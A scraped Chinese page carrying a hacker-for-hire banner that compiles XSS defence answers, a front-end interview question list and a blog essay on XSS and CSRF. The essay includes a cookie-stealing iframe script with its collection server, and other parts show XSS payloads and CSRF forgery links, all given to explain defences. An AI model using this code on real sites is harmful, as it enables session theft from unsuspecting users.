黑客24小时在线接单网站

黑客在线接单,网站入侵,渗透测试,渗透网站,入侵网站

前端xss面试题(前端面试题刷题)

本文目录一览:

请教各位大神关于从js写法上避免xss攻击的问题

XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一、HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。

我们来看下百度有没有使用。

未登录时的Cookie信息

可以看到,所有Cookie都没有设置HttpOnly,现在我登录下

发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。

下面我用PHP来实现下:

?php

header("Set-Cookie: cookie1=test1;");

header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);

setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);

?

script

alert(document.cookie);

/script

js只能读到没有HttpOnly标识的Cookie

二、输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

例如网站注册经常用户名只允许字母和数字的组合,或者邮箱 *** ,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。

网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:

$filter = new lib_filter();

echo $filter-go('1+11');

它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。

三、输出检查

大多人都知道输入需要做检查,但却忽略了输出检查。

1、在HTML标签中输出

如代码:

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=$b?/div

a href="#"?=$a?/a

这样客户端受到xss攻击,解决 *** 就是对变量使用htmlEncode,php中的函数是htmlentities

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=htmlentities($b)?/div

a href="#"?=htmlentities($a)?/a

2、在HTML属性中输出

div id="div" name ="$var"/div

这种情况防御也是使用htmlEncode

在owasp-php中实现:

$immune_htmlattr = array(',', '.', '-', '_');

$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");

3、在script标签中输出

如代码:

?php

$c = "1;alert(3)";

?

script type="text/javascript"

var c = ?=$c?;

/script

这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php *** 来实现

$immune = array("");

echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");

最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F

4、在事件中输出

a href="#" onclick="funcA('$var')" test/a

可能攻击 ***

a href="#" onclick="funcA('');alter(/xss/;//')"test/a

这个其实就是写在script中,所以跟3防御相同

5、在css中输出

在owasp-php中实现:

$immune = array("");

$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');

6、在地址中输出

先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent *** 。

在owasp-php中实现:

$instance = ESAPI::getEncoder();

$instance-encodeForURL(‘url’);

四、处理富文体

就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此更好使用成熟的开源框架来检查。php可以使用htmlpurify

五、防御DOM Based XSS

DOM Based XSS是从javascript中输出数据到HTML页面里。

script

var x = "$var";

document.write("a href='"+x+"'test/a");

/script

按照三中输出检查用到的防御 *** ,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。

防御 *** :首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。

会触发DOM Based XSS的地方有很多:

document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()

XSS攻击的定义,类型以及防御 *** ?

XXS攻击全称跨站脚本攻击,是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其他使用的页面中。

XSS攻击有哪几种类型?下面就由锐速云的小编为大家介绍一下

经常见到XSS攻击有三种:反射XSS攻击、DOM-based型XSS攻击以及储存型XSS攻击。

[if !supportLists]1、[endif]反射型XSS攻击

反射性XSS一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计链接的时候,恶意代码会直接在受害主机上的浏览器上执行,反射型XSS通常出现在网站搜索栏,用户登入口等地方,常用来窃取客户端或进行钓鱼欺骗。

[if !supportLists]2、[endif]存储型XSS攻击

存储型XSS攻击也叫持久型XSS,主要将XSS代码提交储存在服务器端(数据库,内存,文件系统等)下次请求目标页面时不用在提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和 *** 解析执行,XSS攻击就发生了。储存型XSS一般出现在网站留言,评论,博客日志等交互处,恶意脚本储存到客户端或者服务端的数据库中。

[if !supportLists]3、[endif]DOM-based型XSS攻击

DOM-based型XSS攻击它是基于DOM的XSS攻击是指通过恶意脚本修改页面的DOM结构,是纯粹发生在客户端的攻击。DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端JavaScript自身的安全漏洞。

如何防御XSS攻击?

[if !supportLists]1、[endif]对输入内容的特定字符进行编码,列如表示html标记等符号。

[if !supportLists]2、[endif]对重要的cookie设置httpOnly,防止客户端通过document。cookie读取cookie,此HTTP开头由服务端设置。

[if !supportLists]3、[endif]将不可信的输出URT参数之前,进行URLEncode操作,而对于从URL参数中获取值一定要进行格式检查

[if !supportLists]4、[endif]不要使用Eval来解析并运行不确定的数据或代码,对于 *** ON解析请使用 *** ON。Parse() ***

[if !supportLists]5、[endif]后端接口也应该要做到关键字符过滤的问题。

如何用前端防御XSS及建立XSS报警机制

大家可以去参考如何用前端防御XSS及建立XSS报警机制的前言,至于觉得前端XSS防御没必要那可能此篇文章的思路和你所认为的有所不同,可以认真看完后,再做评论。谢谢。 

你可以去后盾人平台看一下,里面的东西不错

如何解决繁琐的WEB前端的XSS问题

后台做一层过滤,前台文本编辑器可以自己做一层标签过滤,不允许一些符号的输入就行了

xss攻击前端能做的有限

因为好多都是url转码来通过参数找漏洞,所以后台也要做一层过滤(例如nodejs的sql库就只允许单行sql,防止通过xss做注入)java之类的有现成多xss过滤器

剩下的就做ip黑名单吧,防止多次攻击

Web前端岗位面试题有哪些

前端面试题汇总,多余的就不说先做会这些东西吧

HTML

Doctype作用?严格模式与混杂模式如何区分?它们有何意义?

HTML5 为什么只需要写 !DOCTYPE HTML?

行内元素有哪些?块级元素有哪些? 空(void)元素有那些?

页面导入样式时,使用link和@import有什么区别?

介绍一下你对浏览器内核的理解?

常见的浏览器内核有哪些?

html5有哪些新特性、移除了那些元素?如何处理HTML5新标签的浏览器兼容问题?如何区分 HTML 和 HTML5?

简述一下你对HTML语义化的理解?

HTML5的离线储存怎么使用,工作原理能不能解释一下?

浏览器是怎么对HTML5的离线储存资源进行管理和加载的呢?

请描述一下 cookies,sessionStorage 和 localStorage 的区别?

iframe有那些缺点?

Label的作用是什么?是怎么用的?(加 for 或 包裹)

HTML5的form如何关闭自动完成功能?

如何实现浏览器内多个标签页之间的通信? (阿里)

webSocket如何兼容低浏览器?(阿里)

页面可见性(Page Visibility)API 可以有哪些用途?

如何在页面上实现一个圆形的可点击区域?

实现不使用 border 画出1px高的线,在不同浏览器的Quirk *** ode和CSSCompat模式下都能保持同一效果。

网页验证码是干嘛的,是为了解决什么安全问题?

tite与h1的区别、b与strong的区别、i与em的区别?

css

介绍一下标准的CSS的盒子模型?与低版本IE的盒子模型有什么不同的?

CSS选择符有哪些?哪些属性可以继承?

CSS优先级算法如何计算?

CSS3新增伪类有那些?

如何居中div?如何居中一个浮动元素?如何让绝对定位的div居中?

display有哪些值?说明他们的作用。

position的值relative和absolute定位原点是?

CSS3有哪些新特性?

请解释一下CSS3的Flexbox(弹性盒布局模型),以及适用场景?

用纯CSS创建一个三角形的原理是什么?

一个满屏 品 字布局 如何设计?

常见兼容性问题?

li与li之间有看不见的空白间隔是什么原因引起的?有什么解决办法?

经常遇到的浏览器的兼容性有哪些?原因,解决 *** 是什么,常用hack的技巧 ?

为什么要初始化CSS样式。

absolute的containing block计算方式跟正常流有什么不同?

CSS里的visibility属性有个collapse属性值是干嘛用的?在不同浏览器下以后什么区别?

position跟display、margin collapse、overflow、float这些特性相互叠加后会怎么样?

对BFC规范(块级格式化上下文:block formatting context)的理解?

CSS权重优先级是如何计算的?

请解释一下为什么会出现浮动和什么时候需要清除浮动?清除浮动的方式

移动端的布局用过媒体查询吗?

使用 CSS 预处理器吗?喜欢那个?

CSS优化、提高性能的 *** 有哪些?

浏览器是怎样解析CSS选择器的?

在网页中的应该使用奇数还是偶数的字体?为什么呢?

margin和padding分别适合什么场景使用?

抽离样式模块怎么写,说出思路,有无实践经验?[阿里航旅的面试题]

元素竖向的百分比设定是相对于容器的高度吗?

全屏滚动的原理是什么?用到了CSS的那些属性?

什么是响应式设计?响应式设计的基本原理是什么?如何兼容低版本的IE?

视差滚动效果,如何给每页做不同的动画?(回到顶部,向下滑动要再次出现,和只出现一次分别怎么做?)

::before 和 :after中双冒号和单冒号 有什么区别?解释一下这2个伪元素的作用。

如何修改chrome记住密码后自动填充表单的黄色背景 ?

你对line-height是如何理解的?

设置元素浮动后,该元素的display值是多少?(自动变成display:block)

怎么让Chrome支持小于12px 的文字?

让页面里的字体变清晰,变细用CSS怎么做?(-webkit-font- *** oothing: antialiased;)

font-style属性可以让它赋值为“oblique” oblique是什么意思?

position:fixed;在android下无效怎么处理?

如果需要手动写动画,你认为最小时间间隔是多久,为什么?(阿里)

display:inline-block 什么时候会显示间隙?(携程)

overflow: scroll时不能平滑滚动的问题怎么处理?

有一个高度自适应的div,里面有两个div,一个高度100px,希望另一个填满剩下的高度。

png、jpg、gif 这些图片格式解释一下,分别什么时候用。有没有了解过webp?

什么是Cookie 隔离?(或者说:请求资源的时候不要让它带cookie怎么做)

style标签写在body后与body前有什么区别?

JavaScript

介绍JavaScript的基本数据类型。

说说写JavaScript的基本规范?

JavaScript原型,原型链 ? 有什么特点?

JavaScript有几种类型的值?(堆:原始数据类型和 栈:引用数据类型),你能画一下他们的内存图吗?

Javascript如何实现继承?

Javascript创建对象的几种方式?

Javascript作用链域?

谈谈This对象的理解。

eval是做什么的?

什么是window对象? 什么是document对象?

null,undefined的区别?

写一个通用的事件侦听器函数(机试题)。

[“1”, “2”, “3”].map(parseInt) 答案是多少?

关于事件,IE与火狐的事件机制有什么区别? 如何阻止冒泡?

什么是闭包(closure),为什么要用它?

javascript 代码中的”use strict”;是什么意思 ? 使用它区别是什么?

如何判断一个对象是否属于某个类?

new操作符具体干了什么呢?

用原生JavaScript的实现过什么功能吗?

Javascript中,有一个函数,执行时对象查找时,永远不会去查找原型,这个函数是?

对 *** ON的了解?

[].forEach.call($$("*"),function(a){ a.style.outline="1px solid #"+(~~(Math.random()*(124))).toString(16) }) 能解释一下这段代码的意思吗?

js延迟加载的方式有哪些?

Ajax 是什么? 如何创建一个Ajax?

同步和异步的区别?

如何解决跨域问题?

页面编码和被请求的资源编码如果不一致如何处理?

模块化开发怎么做?

AMD(Modules/Asynchronous-Definition)、CMD(Common Module Definition)规范区别?

require *** 的核心原理是什么?(如何动态加载的?如何避免多次加载的?如何 缓存的?)

让你自己设计实现一个require *** ,你会怎么做?

谈一谈你对ECMAScript6的了解?

ECMAScript6 怎么写class么,为什么会出现class这种东西?

异步加载的方式有哪些?

documen.write和 innerHTML的区别?

DOM操作——怎样添加、移除、移动、复制、创建和查找节点?

.call() 和 .apply() 的含义和区别?

数组和对象有哪些原生 *** ,列举一下?

*** 怎么实现一个类。怎么实例化这个类

JavaScript中的作用域与变量声明提升?

如何编写高性能的Javascript?

那些操作会造成内存泄漏?

JQuery的源码看过吗?能不能简单概况一下它的实现原理?

jQuery.fn的init *** 返回的this指的是什么对象?为什么要返回this?

jquery中如何将数组转化为json字符串,然后再转化回来?

jQuery 的属性拷贝(extend)的实现原理是什么,如何实现深拷贝?

jquery.extend 与 jquery.fn.extend的区别?

jQuery 的队列是如何实现的?队列可以用在哪些地方?

谈一下Jquery中的bind(),live(),delegate(),on()的区别?

JQuery一个对象可以同时绑定多个事件,这是如何实现的?

是否知道自定义事件。jQuery里的fire函数是什么意思,什么时候用?

jQuery 是通过哪个 *** 和 Sizzle 选择器结合的?(jQuery.fn.find()进入Sizzle)

针对 jQuery性能的优化 *** ?

Jquery与jQuery UI有啥区别?

JQuery的源码看过吗?能不能简单说一下它的实现原理?

jquery 中如何将数组转化为json字符串,然后再转化回来?

jQuery和Zepto的区别?各自的使用场景?

针对 jQuery 的优化 *** ?

Zepto的点透问题如何解决?

jQueryUI如何自定义组件?

需求:实现一个页面操作不会整页刷新的网站,并且能在浏览器前进、后退时正确响应。给出你的技术实现方案?

如何判断当前脚本运行在浏览器还是node环境中?(阿里)

移动端最小触控区域是多大?

jQuery 的 slideUp动画 ,如果目标元素是被外部事件驱动, 当鼠标快速地连续触发外部元素事件, 动画会滞后的反复执行,该如何处理呢?

把 Script 标签 放在页面的更底部的body封闭之前 和封闭之后有什么区别?浏览器会如何解析它们?

移动端的点击事件的有延迟,时间是多久,为什么会有? 怎么解决这个延时?(click 有 300ms 延迟,为了实现safari的双击事件的设计,浏览器要知道你是不是要双击操作。)

知道各种 *** 框架(Angular, Backbone, Ember, React, Meteor, Knockout…)么? 能讲出他们各自的优点和缺点么?

Underscore 对哪些 *** 原生对象进行了扩展以及提供了哪些好用的函数 *** ?

解释JavaScript中的作用域与变量声明提升?

那些操作会造成内存泄漏?

JQuery一个对象可以同时绑定多个事件,这是如何实现的?

Node.js的适用场景?

(如果会用node)知道route, middleware, cluster, nodemon, pm2, server-side rendering么?

解释一下 Backbone 的 MVC 实现方式?

什么是“前端路由”?什么时候适合使用“前端路由”? “前端路由”有哪些优点和缺点?

知道什么是webkit么? 知道怎么用浏览器的各种工具来调试和debug代码么?

如何测试前端代码么? 知道BDD, TDD, Unit Test么? 知道怎么测试你的前端工程么(mocha, sinon, ja *** in, qUnit..)?

前端templating(Mustache, underscore, handlebars)是干嘛的, 怎么用?

简述一下 Handlebars 的基本用法?

简述一下 Handlerbars 的对模板的基本处理流程, 如何编译的?如何缓存的?

用js实现千位分隔符?(来源:前端农民工,提示:正则+replace)

检测浏览器版本版本有哪些方式?

我们给一个dom同时绑定两个点击事件,一个用捕获,一个用冒泡,你来说下会执行几次事件,然后会先执行冒泡还是捕获

其他问题

原来公司工作流程是怎么样的,如何与其他人协作的?如何夸部门合作的?

你遇到过比较难的技术问题是?你是如何解决的?

设计模式 知道什么是singleton, factory, strategy, decrator么?

常使用的库有哪些?常用的前端开发工具?开发过什么应用或组件?

页面重构怎么操作?

列举IE与其他浏览器不一样的特性?

99%的网站都需要被重构是那本书上写的?

什么叫优雅降级和渐进增强?

是否了解公钥加密和私钥加密。

WEB应用从服务器主动推送Data到客户端有那些方式?

对Node的优点和缺点提出了自己的看法?

你有用过哪些前端性能优化的 *** ?

http状态码有那些?分别代表是什么意思?

一个页面从输入 URL 到页面加载显示完成,这个过程中都发生了什么?(流程说的越详细越好)

部分地区用户反应网站很卡,请问有哪些可能性的原因,以及解决 *** ?

从打开app到刷新出内容,整个过程中都发生了什么,如果感觉慢,怎么定位问题,怎么解决?

除了前端以外还了解什么其它技术么?你最最厉害的技能是什么?

你用的得心应手用的熟练地编辑器开发环境是什么样子?

对前端界面工程师这个职位是怎么样理解的?它的前景会怎么样?

你怎么看待Web App 、hybrid App、Native App?

你移动端前端开发的理解?(和 Web 前端开发的主要区别是什么?)

你对加班的看法?

平时如何管理你的项目?

说说最近更流行的一些东西吧?常去哪些网站?

如何设计突发大规模并发架构?

说说最近更流行的一些东西吧?常去哪些网站?

是否了解开源的工具 bower、npm、yeoman、grunt、gulp,一个 npm 的包里的 package.json 具备的必要的字段都有哪些?(名称、版本号,依赖)

每个模块的代码结构都应该比较简单,且每个模块之间的关系也应该非常清晰,随着功能和迭代次数越来越多,你会如何去保持这个状态的?

Git知道branch, diff, merge么?

如何设计突发大规模并发架构?

当团队人手不足,把功能代码写完已经需要加班的情况下,你会做前端代码的测试吗?

说说最近更流行的一些东西吧?平时常去哪些网站?

知道什么是SEO并且怎么优化么? 知道各种meta data的含义么?

移动端(Android IOS)怎么做好用户体验?

简单描述一下你做过的移动APP项目研发流程?

你在现在的团队处于什么样的角色,起到了什么明显的作用?

你认为怎样才是全端工程师(Full Stack developer)?

介绍一个你最得意的作品吧?

你有自己的技术博客吗,用了哪些技术?

对前端安全有什么看法?

是否了解Web注入攻击,说下原理,最常见的两种攻击(XSS 和 CSRF)了解到什么程度?

项目中遇到国哪些印象深刻的技术难题,具体是什么问题,怎么解决?。

最近在学什么东西?

你的优点是什么?缺点是什么?

如何管理前端团队?

最近在学什么?能谈谈你未来3,5年给自己的规划吗?

前端安全方面有没有了解?xss和csrf如何攻防

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。

正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。

真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的 *** 处理,简单的 *** 就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。

现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本更低而又最有效的做法。

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,更好的 *** 是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 *** 把发贴内容拼接成目标 URL 并访问:

标题content=内容

那么,我只需要在论坛中发一帖,包含一链接:

我是脑残content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 *** 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。

比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。

首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求 *** 对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求 *** ,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求 *** ,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

接下来我们就可以用比较简单也比较有效的 *** 来防御 CSRF,这个 *** 就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现 *** 非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:

虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的 *** 在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。

之一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、 *** 的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个 *** 看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

总体来说,目前防御 CSRF 的诸多 *** 还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“ *** ”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌 *** ,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的 *** ,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。

  • 评论列表:
  •  爱里全是难过〃1
     发布于 2022-07-08 18:07:50  回复该评论
